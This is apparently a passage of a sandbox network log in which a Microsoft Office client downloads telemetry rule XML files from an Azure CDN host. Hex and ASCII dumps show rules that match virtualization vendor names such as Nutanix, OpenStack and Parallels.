2024-11-12 12:35:23 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	51514	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:23 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:23 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:23 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 8d9254fb-301e-005d-42a5-34e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123523Z-15869dbbcc6hgzkhhC1DFWgtqs00000007600000000004gx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 12:35:23 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	51516	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:23 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:23 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 43621d70-001e-0046-5ca5-34da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123523Z-15869dbbcc6rmhmhhC1DFWr8y000000007kg00000000czrc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:23 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	51517	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:24 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:24 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: df0f13af-501e-00a3-0ca5-34c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123524Z-17df447cdb5c9wvxhC1DFWn08n0000000c80000000009aw2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:24 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	51518	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:24 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:24 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 6538f966-101e-00a2-58f1-2c9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123524Z-16547b76f7fkj7j4hC1DFW0a9g0000000fng000000005r79 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:24 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	51519	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:24 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:24 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:24 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 29e284b5-001e-0065-5703-2d0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123524Z-16547b76f7fr4g8xhC1DFW9cqc0000000eug0000000069me x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:24 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	51521	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:24 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:24 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 06fd63be-801e-008f-5e01-2d2c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123524Z-16547b76f7fp6mhthC1DFWrggn0000000fr0000000008he0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:24 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	51520	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:24 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:24 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 28b142bf-301e-0000-3ca7-34eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123524Z-15869dbbcc6b2ncxhC1DFWuw0400000001d0000000007ya4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:24 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	51522	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:25 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:25 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: a5c21d46-701e-0050-7ca1-346767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123525Z-15869dbbcc6x4rp4hC1DFW5xa80000000110000000002z0w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:25 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	51523	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:25 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:25 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: bf72d7c2-301e-001f-2fa0-34aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123525Z-15869dbbcc6rmhmhhC1DFWr8y000000007m000000000b5qx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:25 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	51524	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:25 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:25 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 52d88e03-c01e-007a-7b0b-2db877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123525Z-16547b76f7fcrtpchC1DFW52e80000000fn000000000a25y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:25 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	51525	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:25 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:25 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: d980b71d-401e-000a-13a8-344a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123525Z-15869dbbcc6lq45jhC1DFWtecs00000001f0000000000fpm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:25 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	51526	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:26 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
